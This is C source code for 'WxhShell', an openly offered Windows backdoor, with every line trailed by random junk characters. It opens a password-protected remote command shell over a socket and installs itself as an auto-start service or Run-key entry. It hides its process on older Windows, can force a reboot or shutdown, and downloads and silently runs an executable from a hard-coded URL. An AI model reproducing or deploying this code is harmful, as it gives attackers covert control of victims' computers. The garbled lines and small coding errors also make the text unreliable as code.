    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); s J{J@/5  
    if(Boot(SHUTDOWN)) \n>7T*iM&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); WdZ_^  
    else { @QO^3%b8  
    closesocket(wsh); hQ@E2Xsv  
    ExitThread(0); .gclE~h.  
    } gski:C   
    break; M3 &GO5<  
    } L6 IIk  
  // 获取shell 9q]n &5  
  case 's': { k4-S:kVo  
    CmdShell(wsh); ;W?mQUo:P8  
    closesocket(wsh); ( &!RX.i  
    ExitThread(0); 5rH?FQE  
    break; C7=N`s}  
  } .2{*>Dzi  
  // 退出 +:kMYL3  
  case 'x': { Jq*Q;}n  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); wA2^ I70-  
    CloseIt(wsh); WYm<_1  
    break; {l9gYA  
    } r7jh)Q;BbR  
  // 离开 GCj[ySCD  
  case 'q': { ' >k1h.i  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); yXT.]%)  
    closesocket(wsh); +.-g`Vyz*  
    WSACleanup(); cb5T-'hY  
    exit(1); -x VZm8y  
    break; tNG[|Bi#  
        } BIXbdo5F  
  } O<P(UT"  
  } VVw5)O1'  
bk|?>yd  
  // 提示信息 !<vy!pXg  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /d*[za'0  
} p5aqlYb6r  
  } $U4[a:  
Vtv~jJ{m  
  return; ]YrgkC35  
} 9T_fq56Oh6  
rtdEIk  
// shell模块句柄  Pm"nwm  
int CmdShell(SOCKET sock) eX$RD9 H  
{ T,9pd;k  
STARTUPINFO si; AD~_n ^  
ZeroMemory(&si,sizeof(si)); ~~3*o  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; :(YFIW`59  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 4YgO1}%G  
PROCESS_INFORMATION ProcessInfo; ~wQ M ?h  
char cmdline[]="cmd"; 'Ll'8 ps  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); S.; ahce  
  return 0; wlFK#iK  
} &N*l?7(  
c"diNbm[  
// 自身启动模式 ;]l`Q,*OXb  
int StartFromService(void) "^oU&]KQJ  
{ cI'su?  
typedef struct +y^'\KN  
{ /5X_gjOL,  
  DWORD ExitStatus; #wZbG|%  
  DWORD PebBaseAddress; 0|6Y% a\U  
  DWORD AffinityMask; PXF u  
  DWORD BasePriority; Vy6~O|68=  
  ULONG UniqueProcessId; ^"iJ  
  ULONG InheritedFromUniqueProcessId; cs 58: G5  
}   PROCESS_BASIC_INFORMATION; K+ |0~/0  
OHv4Yy]$B  
PROCNTQSIP NtQueryInformationProcess; zeD=-3  
r72zWpF!Ss  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; |$C fm}  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 1}~ZsrF  
oDWNOw  
  HANDLE             hProcess; 0|kH0c,T-  
  PROCESS_BASIC_INFORMATION pbi; 8p#V4liE  
E.,  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); BP@V:z  
  if(NULL == hInst ) return 0; KMx '(  
uNca@xl'  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); -^JPY)\R  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); kZ=2# .  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); RG9iTA'  
OQVo4yl"  
  if (!NtQueryInformationProcess) return 0; IEe;ygL#  
'vV+Wu#[  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); JkQ\r$ Y.  
  if(!hProcess) return 0; x *a_43`  
y+ 4#Iy  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; K j~!E H"  
}l&y8,[:  
  CloseHandle(hProcess); 6,!$S2(zT  
!{CaW4  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); s@p:XO  
if(hProcess==NULL) return 0; {I/t3.R`  
"jf_xZ$H-  
HMODULE hMod; to?={@$]  
char procName[255]; U#%+FLX@w  
unsigned long cbNeeded; r::0\{{r"p  
[ OS& eK 8  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); T%A"E,#  
==S^IBG  
  CloseHandle(hProcess); 8gG;A8  
|xT'+~u  
if(strstr(procName,"services")) return 1; // 以服务启动 ?7"v~d]>  
bAld'z#  
  return 0; // 注册表启动 B%5"B} nG  
} `~D{]'j  
k\RS L  
// 主模块 EHfB9%O7y  
int StartWxhshell(LPSTR lpCmdLine) R 5\|pC  
{ -wVuM.n(Z  
  SOCKET wsl; eh8lPTKil  
BOOL val=TRUE; Lj/  
  int port=0; (C.aQ)|T  
  struct sockaddr_in door; Fzt7@VNxc  
$-.*8*9  
  if(wscfg.ws_autoins) Install(); a`zHx3Yg  
%r&36d'  
port=atoi(lpCmdLine); 39d$B'"<1  
6n;? :./  
if(port<=0) port=wscfg.ws_port; 4%4Yqx )  
nW`] =  
  WSADATA data; ^V7)V)Z;0  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; |pBvy1e4)  
t^2$ent  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   :(4q\~  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); wxN&k$`a  
  door.sin_family = AF_INET; S4rm K&  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); DQ&\k'"\  
  door.sin_port = htons(port); Oc-ia)v1G  
T-]UAN"O  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { )P,pW?h$  
closesocket(wsl); cM\BEh h  
return 1; mex@~VK  
} +:W?:\  
t>x!CNb'C  
  if(listen(wsl,2) == INVALID_SOCKET) { WO6+r?0M2  
closesocket(wsl); b;nqhO[f}  
return 1; o6:@j#b  
} wr~Qy4 ny  
  Wxhshell(wsl); [Fv_~F491  
  WSACleanup(); deJ/3\t  
&*oljGt8  
return 0; q\<NW%KtX  
[ua[A;K  
} V{ ~~8b1E  
Sj IDzNI5  
// 以NT服务方式启动 z2Z}mktP  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) .EvP%A m  
{ B1]FB|0's  
DWORD   status = 0; c[$i )\0  
  DWORD   specificError = 0xfffffff; )|#ExyRO  
cQsSJBZ[v5  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 'v=BAY=Ef  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ap,zC)[  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; MZqHL4<|  
  serviceStatus.dwWin32ExitCode     = 0; ,XI=e=  
  serviceStatus.dwServiceSpecificExitCode = 0; g4{0  
  serviceStatus.dwCheckPoint       = 0; G_5w5dbG  
  serviceStatus.dwWaitHint       = 0; T!Lv%i*|Y  
%Aa_Bumf*:  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); )6eFYt%c  
  if (hServiceStatusHandle==0) return; @Y<fj^]k  
}:[MSUm5  
status = GetLastError(); O&}R  
  if (status!=NO_ERROR) rDu?XJA  
{ KuEM~Q=  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; LR'~:46#u  
    serviceStatus.dwCheckPoint       = 0; ,Ek6X)|@  
    serviceStatus.dwWaitHint       = 0; 19RbIG/X  
    serviceStatus.dwWin32ExitCode     = status; b@sq}8YD|z  
    serviceStatus.dwServiceSpecificExitCode = specificError; \Ym!5,^o  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); .4[M-@4+]  
    return; ylDfr){  
  } @}uo:b:Q  
8#9OSupp  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Cv/3-&5S  
  serviceStatus.dwCheckPoint       = 0; Ns#L9T#  
  serviceStatus.dwWaitHint       = 0; ]\]mwvLT  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ymT]ow6C  
} prB:E[1  
8#4Gs Q"  
// 处理NT服务事件,比如:启动、停止 [?(qhp!  
VOID WINAPI NTServiceHandler(DWORD fdwControl) #a'CoJs   
{  v&7x ~!O  
switch(fdwControl) \&U"7gSL  
{ bjN"H`Q  
case SERVICE_CONTROL_STOP: vV*/"'>  
  serviceStatus.dwWin32ExitCode = 0; Z=< D`  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; K6@ %@v  
  serviceStatus.dwCheckPoint   = 0; FI)0.p  
  serviceStatus.dwWaitHint     = 0; !!m GsgnW  
  { ;&kZ7%  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8%xiHPVg  
  } ~ H"-km"@  
  return; 6Q&i=!fQ  
case SERVICE_CONTROL_PAUSE: T+FlN-iy)  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; dEor+5}  
  break; zm4e+v-  
case SERVICE_CONTROL_CONTINUE: m`b:#z  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ie7TO{W  
  break; /b6j<]H  
case SERVICE_CONTROL_INTERROGATE: PWfd<Yf!  
  break; 1{ ehnH  
}; q!q=axfMD  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); w(ic$  
} w;J#+ik  
yA`,ns&n  
// 标准应用程序主函数 KqNsCT+j  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) f917F.1 I  
{ k9c`[M  
Z'm( M[2K  
// 获取操作系统版本 D2io3Lo$ov  
OsIsNt=GetOsVer(); }/g1  
GetModuleFileName(NULL,ExeFile,MAX_PATH); v[a4d&P  
ZB5NTNf>  
  // 从命令行安装 u!b0 <E  
  if(strpbrk(lpCmdLine,"iI")) Install(); 3ZvQUH/{W  
v{8r46Y~Z)  
  // 下载执行文件 /)rv Ndn  
if(wscfg.ws_downexe) { a`Q-5* \;z  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) SL_JA  
  WinExec(wscfg.ws_filenam,SW_HIDE); Ppx4#j  
} j tqU`|FSQ  
pwF])uf*{\  
if(!OsIsNt) { Hq,N OP  
// 如果时win9x,隐藏进程并且设置为注册表启动 nQn=zbZ3  
HideProc(); gV'=u z v  
StartWxhshell(lpCmdLine); 7'@~TM  
} wB<cW>6  
else tcI Z 2H%  
  if(StartFromService()) t~Ic{%bdA  
  // 以服务方式启动 ZKi?;ta=  
  StartServiceCtrlDispatcher(DispatchTable); Yof ]  
else VY0-18 o  
  // 普通方式启动 -or)NE  
  StartWxhshell(lpCmdLine); '47E8PIJ|  
ff aMF~+  
return 0; &@qB6!^  
} V~t; J  
c{jTCkzq  
p#gf^Y5  
cWI7];/d;  
=========================================== SWNT}{x]  
_G%kEt_4  
jLEO-<)-)  
u#3Cst8Y  
vQ{mEaH  
)xTu|V   
" 5L\Im^  
|lVi* 4za%  
#include <stdio.h> vnX~OVz2  
#include <string.h> 8=mx5Gwz-  
#include <windows.h> yQC8Gt8  
#include <winsock2.h> jW}hLjlN  
#include <winsvc.h> CR-2>,*a9  
#include <urlmon.h> cn'r BY  
XZ/cREz^s  
#pragma comment (lib, "Ws2_32.lib") ^5-SL?E  
#pragma comment (lib, "urlmon.lib") /)r[}C0   
(T",6xBSG  
#define MAX_USER   100 // 最大客户端连接数 ZrWA,~;  
#define BUF_SOCK   200 // sock buffer 0EC/l OS  
#define KEY_BUFF   255 // 输入 buffer mEV@~){  
q]y{ 4"=5  
#define REBOOT     0   // 重启 }/7rA)_  
#define SHUTDOWN   1   // 关机 +@\=v}: F  
K!gocNOf  
#define DEF_PORT   5000 // 监听端口 t5S!j2E  
KU_""T  
#define REG_LEN     16   // 注册表键长度 85+w\KuEY  
#define SVC_LEN     80   // NT服务名长度 ,6wGdaMR  
vGp`P  
// 从dll定义API a!;K+wL >  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 1c$c e+n~  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); AHLXmQl  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Lx3`.F\mG  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);  L$[1+*  
U2(mWQ[mO  
// wxhshell配置信息 \%.&$z3wz  
struct WSCFG { *(nu0  
  int ws_port;         // 监听端口 .3xf!E*  
  char ws_passstr[REG_LEN]; // 口令 ~Ecx>f4nX  
  int ws_autoins;       // 安装标记, 1=yes 0=no ?lIh&C8]X  
  char ws_regname[REG_LEN]; // 注册表键名 1xsB@D  
  char ws_svcname[REG_LEN]; // 服务名 4& 9V  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 x|3G}[=  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ^]$rh.7&  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ~|`jIqU  
int ws_downexe;       // 下载执行标记, 1=yes 0=no G\*`%B_ n  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" A)nE+ec1  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 {CGk9g" `  
ymA8`k5>@  
}; `(@{t:L  
w#;y  
// default Wxhshell configuration p1,.f&(f  
struct WSCFG wscfg={DEF_PORT, z-`4DlJUS  
    "xuhuanlingzhe", 8|rlP  
    1, 7*47mJyc  
    "Wxhshell", }kk[lvhJ  
    "Wxhshell",  Kuh)3/7  
            "WxhShell Service", p[D,.0SuC  
    "Wrsky Windows CmdShell Service", l/bZE.GJ  
    "Please Input Your Password: ", K)9f\1\  
  1, V_T~5%9Fy  
  "http://www.wrsky.com/wxhshell.exe", qWI8 >my11  
  "Wxhshell.exe" BU%gXr4Ra  
    }; Aj@t*3  
Qf|c^B  
// 消息定义模块 e]smnf  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 6+yA4pRSd  
char *msg_ws_prompt="\n\r? for help\n\r#>"; SCXtBZ`.G  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 8jgamG  
char *msg_ws_ext="\n\rExit."; !GZ{UmwA  
char *msg_ws_end="\n\rQuit."; tnw6[U!rh=  
char *msg_ws_boot="\n\rReboot..."; CSMx]jbb  
char *msg_ws_poff="\n\rShutdown..."; [3(lk_t  
char *msg_ws_down="\n\rSave to "; f`p"uLNo<  
HO39>:c  
char *msg_ws_err="\n\rErr!"; '6Yx03t  
char *msg_ws_ok="\n\rOK!"; us^J! s7  
c nV2}U/\  
char ExeFile[MAX_PATH]; '_o(I  
int nUser = 0; < #7j~<  
HANDLE handles[MAX_USER]; Br"K{g?  
int OsIsNt; 0u ,nSvch  
]U3@V#*  
SERVICE_STATUS       serviceStatus; A,%NdM;t=5  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; J|dj`Z ?  
?,*KAGg%  
// 函数声明 ef -PlGn  
int Install(void); qjLFgsd  
int Uninstall(void); fb|lWEw5h.  
int DownloadFile(char *sURL, SOCKET wsh); _U%2J4T2  
int Boot(int flag); nnMRp7LQ-  
void HideProc(void); ((]Sy,rdk  
int GetOsVer(void); f15n ~d  
int Wxhshell(SOCKET wsl); rNX]tp{j  
void TalkWithClient(void *cs); e>$E67h<~  
int CmdShell(SOCKET sock); FeuqqZ\=&  
int StartFromService(void); <0H^2ekd  
int StartWxhshell(LPSTR lpCmdLine); F2mW<REg{  
6 Y}Bza  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); etH]-S  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); |&rxDf}W  
Np R&`]  
// 数据结构和表定义 KoTQc0b!  
SERVICE_TABLE_ENTRY DispatchTable[] = hSSFmEpr  
{ -Sj|Y }  
{wscfg.ws_svcname, NTServiceMain}, DsGtc<l%  
{NULL, NULL} -Deqlaf(  
}; 7cZ(gdQ/  
9K_p4 mq  
// 自我安装 X h"8uJD  
int Install(void) mO^vKq4r.  
{ ~Z x_"  
  char svExeFile[MAX_PATH]; P:v|JER   
  HKEY key; zgA/B{DaC;  
  strcpy(svExeFile,ExeFile); bJ9K!6s??`  
X?q,m4+  
// 如果是win9x系统,修改注册表设为自启动 O4Hc"v  
if(!OsIsNt) { NEX{vZkgw  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0o-KjX?kP  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); qX!P:M  
  RegCloseKey(key); .06[*S  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |1^ !rHg  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); kY`L[1G$  
  RegCloseKey(key); _0qp!-l}  
  return 0; DsF<P@O6  
    } ffS]%qa  
  } Y'2 |GJc2  
} Fs;_z9ej-u  
else {  .'^Pg  
L:RMZp*bK  
// 如果是NT以上系统,安装为系统服务 KJN{p~Q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); e'1}5Ky  
if (schSCManager!=0) Ra^GbT|Z  
{ wx)Yl1 C  
  SC_HANDLE schService = CreateService 63y&MaqSJ  
  ( ma(E}s  
  schSCManager, GJ4R f%  
  wscfg.ws_svcname, OO`-{HKt  
  wscfg.ws_svcdisp, haIH `S Y  
  SERVICE_ALL_ACCESS, UqsX@jL!  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , [5TGCGxP{  
  SERVICE_AUTO_START, \v[?4 [  
  SERVICE_ERROR_NORMAL, YVB\9{H?  
  svExeFile, ld/\`s[i  
  NULL, 1<d|@9?9`  
  NULL, fs wQ*  
  NULL, C.oC@P  
  NULL, u.L{3gkT  
  NULL uO;_T/^u  
  ); T_*R^Ukb5  
  if (schService!=0) $oU40HA)W]  
  { OMVK\_oXo  
  CloseServiceHandle(schService); UFY_.N~  
  CloseServiceHandle(schSCManager); 7Q3a0`Iq  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Fb9!x/$tGV  
  strcat(svExeFile,wscfg.ws_svcname); 7!"OF  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { !`?*zf  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 6l-V% 3-  
  RegCloseKey(key); *T{P^q.s~[  
  return 0; .YcI .  
    } x*2'I  
  } !/Wp0E'A  
  CloseServiceHandle(schSCManager); 6Cd% @Q2cr  
} S,~DA3  
} ]S#m o  
h#!u"'JW  
return 1; E;Sb e9]   
} l d4#jV ei  
-<Zs7(  
// 自我卸载 S8$kxQg  
int Uninstall(void) QvN=<V  
{ R#UcwX}o  
  HKEY key; fd} U l  
|T@\ -8Ok  
if(!OsIsNt) { (:2,Rr1"  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1JXa/f+  
  RegDeleteValue(key,wscfg.ws_regname); Q]d3a+dK  
  RegCloseKey(key); J}UG{RttI  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,/>hWAx  
  RegDeleteValue(key,wscfg.ws_regname); {(,[  
  RegCloseKey(key); k9pOY]_Y  
  return 0; o:irwfArv  
  } ,3tcti~sZ  
} pk0C x  
} V)8d1S  
else { ,Bg)p_B  
qFD#D_O6  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); UBy< vwnU  
if (schSCManager!=0) PtT=HvP!k  
{ W{!GL  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Eax^1 |6  
  if (schService!=0) * vMNv  
  { 6(uK5eD(!n  
  if(DeleteService(schService)!=0) { UfUboxT  
  CloseServiceHandle(schService); g-Y2U}&  
  CloseServiceHandle(schSCManager); Zw`vPvb!  
  return 0; ;>d uY\$<  
  } !$i*u-%4  
  CloseServiceHandle(schService); &58+-jzW  
  } z]Dbca1a`  
  CloseServiceHandle(schSCManager); tuF hPqe {  
} %@jL? u  
} `Z:5E  
<cn{S`  
return 1; b=Y:`&o=[  
} @GpM 4>:  
dE[nPtstb  
// 从指定url下载文件 &eHhj9  
int DownloadFile(char *sURL, SOCKET wsh) |_^A$Hv  
{ I*Q^$YnM  
  HRESULT hr; _z$lg]q  
char seps[]= "/"; sm~{fg  
char *token; ~;*SW[4  
char *file; "5,tEP!  
char myURL[MAX_PATH]; ,c;u]  
char myFILE[MAX_PATH]; :DlgNR`bq  
oS/cS)N20  
strcpy(myURL,sURL); N=QeeAI}}m  
  token=strtok(myURL,seps); l12_&o"C~  
  while(token!=NULL) 9$u'2TV  
  { P~5[.6gW  
    file=token; )Uv lEG']  
  token=strtok(NULL,seps); !5;A.f  
  } jeM/8~^4-  
5B lptC  
GetCurrentDirectory(MAX_PATH,myFILE); ?{OB+f}Mo  
strcat(myFILE, "\\"); IP 9{vk  
strcat(myFILE, file); $YX\&%N  
  send(wsh,myFILE,strlen(myFILE),0); 'F- wC!  
send(wsh,"...",3,0); 8RfFP\AP  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 4t0B_o"  
  if(hr==S_OK) Sf2pU!5n^  
return 0; >J]^Rgn>  
else ^MUSq(  
return 1; _'yN4>=6u  
RiY9[ec2  
} 2$g3ABfV  
i8\&J.  
// 系统电源模块 KfO$bmwmx  
int Boot(int flag) 8d90B9  
{ &{Zt(%\ '  
  HANDLE hToken; ,&1DKx  
  TOKEN_PRIVILEGES tkp; d&dp#)._8  
&3Q!'pJJ  
  if(OsIsNt) { Z*}5M4  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); $:#{Y;d  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 8%dE$smH  
    tkp.PrivilegeCount = 1; ){PL6|5x  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; BixKK$Lo  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); &3SQVOW ~T  
if(flag==REBOOT) { 8e`'Ox_5a  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 2&f] v`|M|  
  return 0; GtCbzNY  
} ]5+db0  
else { lm?1 K:+[  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) L|7F%oR  
  return 0; 4+Sq[Rv0  
} :+9KNyA  
  } uz(3ml^S  
  else { bF#*cH  
if(flag==REBOOT) { $rAHtr  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) XQW+6LEQ  
  return 0; b>B.3E\Pc  
} 7g}lg8M  
else { '8Q:}{  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 1kG{z;9  
  return 0; jb!R  
} 6[dLj9 G%  
} Q]Ymv:M,  
0wx lsny?  
return 1; qH3|x08  
} ]"jJgO^  
r+}5;fQJ  
// win9x进程隐藏模块 n( |~z   
void HideProc(void) 8| 6:  
{ 4xg7 oo0iJ  
x:h0/f  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); D5wy7`c  
  if ( hKernel != NULL ) kj o,?$r %  
  { ;^9Ao>(?y  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); p97}HT}  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); jm_b3!J  
    FreeLibrary(hKernel); wF +9Iu  
  } tFY;q##z  
Ag3[Nu1  
return; ,X[l C\1a  
} Z'P>sV  
|mSFa8G@  
// 获取操作系统版本 /kl41gx  
int GetOsVer(void) gD"]uj<  
{ R. sRH/6  
  OSVERSIONINFO winfo; ;b(*Bh<  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); l (EDe  
  GetVersionEx(&winfo); u~| D;e  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) h&$7^P  
  return 1; td:GZ %  
  else kEH(\3,l  
  return 0; h|=<I)}z  
} X=i^[?C  
qUH02" z@9  
// 客户端句柄模块 YEL, TU  
int Wxhshell(SOCKET wsl) PdUlwT? 8C  
{ (v11;kdJB  
  SOCKET wsh; OJ (ho&((  
  struct sockaddr_in client; Ow0-}Im~  
  DWORD myID; p;[">["  
xWwQm'I2}  
  while(nUser<MAX_USER) Hm>M}MF3  
{ Z /#&c  
  int nSize=sizeof(client); v99gI%TA'  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); .?L&k|wX-  
  if(wsh==INVALID_SOCKET) return 1; .eg?FB'7  
d|^cKLu  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); uSeRn@  
if(handles[nUser]==0) DrfOz#a0Uu  
  closesocket(wsh); w4m -DR5  
else 3{gD'y4j  
  nUser++; 8oM]gW;J~  
  } ?-40bb  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); |\yVnk!c  
9n#Q1Xq  
  return 0; G~SgI>Q  
} %^e~;i=2  
[0M2`x4`  
// 关闭 socket 4fK(<2i  
void CloseIt(SOCKET wsh) [D8u.8q  
{ Q}pnb3J>T  
closesocket(wsh); ' }G! D  
nUser--; W'3&\}  
ExitThread(0); _0~WT  
} ]}KoW?M  
aR3R,6ec  
// 客户端请求句柄 av-l_iE  
void TalkWithClient(void *cs) {s=n "*Qp)  
{ s:_M+_7_  
6`/nA4S4.  
  SOCKET wsh=(SOCKET)cs; E5-f{Qc  
  char pwd[SVC_LEN]; 4NY00d/R  
  char cmd[KEY_BUFF]; vx:MLmZ.  
char chr[1]; 'z'q)vcr  
int i,j; $$U Mc-Pq  
q|*}>=NX  
  while (nUser < MAX_USER) { jwm2ZJW  
28 h3Ayw4  
if(wscfg.ws_passstr) { XS$5TNI  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .~ )[>  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); x$Gu)S  
  //ZeroMemory(pwd,KEY_BUFF); tVSURYA8  
      i=0; :)!X%2 _  
  while(i<SVC_LEN) { 0FA N9u2  
 $D`~X`  
  // 设置超时 !$ $|zB%  
  fd_set FdRead; hD~P)@^  
  struct timeval TimeOut; -JL  
  FD_ZERO(&FdRead); ]zGgx07d  
  FD_SET(wsh,&FdRead); X bF;  
  TimeOut.tv_sec=8; $~h\8  
  TimeOut.tv_usec=0; JfJUOaL  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); +-b:XeHSZ  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ?y.q<F)  
h8IjTd]z{$  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6XVr-ef  
  pwd=chr[0]; [iJU{W  
  if(chr[0]==0xd || chr[0]==0xa) { Hwr# NKz-  
  pwd=0; 1J}i :i&  
  break; )_*<uSl  
  } d2b  L_  
  i++; +UzFHiGy#  
    } PQl a-  
Mx ?{[zT"  
  // 如果是非法用户,关闭 socket Yzr RnVr  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); \/rK0|2A  
} Gp=X1 F  
B;SN}I  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ;B%NFvG  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); h, |49~^@"  
s%tPGjMq  
while(1) { vmI2o'zi  
h @{U>U7  
  ZeroMemory(cmd,KEY_BUFF); s|7(VUPL  
71AR)6<R  
      // 自动支持客户端 telnet标准   ;DMv?-H  
  j=0; yN* H IN  
  while(j<KEY_BUFF) { E,6(/`0H*  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >Ab>"!/'K  
  cmd[j]=chr[0]; Yg 8AMi  
  if(chr[0]==0xa || chr[0]==0xd) { 2ckAJcpEb/  
  cmd[j]=0; d/Q}I[J.u  
  break; kF:4 [d  
  } 19 h7 M  
  j++; A>;Q<8rh  
    } VE4Z;Dr"  
,|gX?[o  
  // 下载文件 K".\QF,:  
  if(strstr(cmd,"http://")) { GF6c6TXF@  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 2?3D` `  
  if(DownloadFile(cmd,wsh)) ;^5d^-T  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); .&:GO D  
  else GA19=gow  
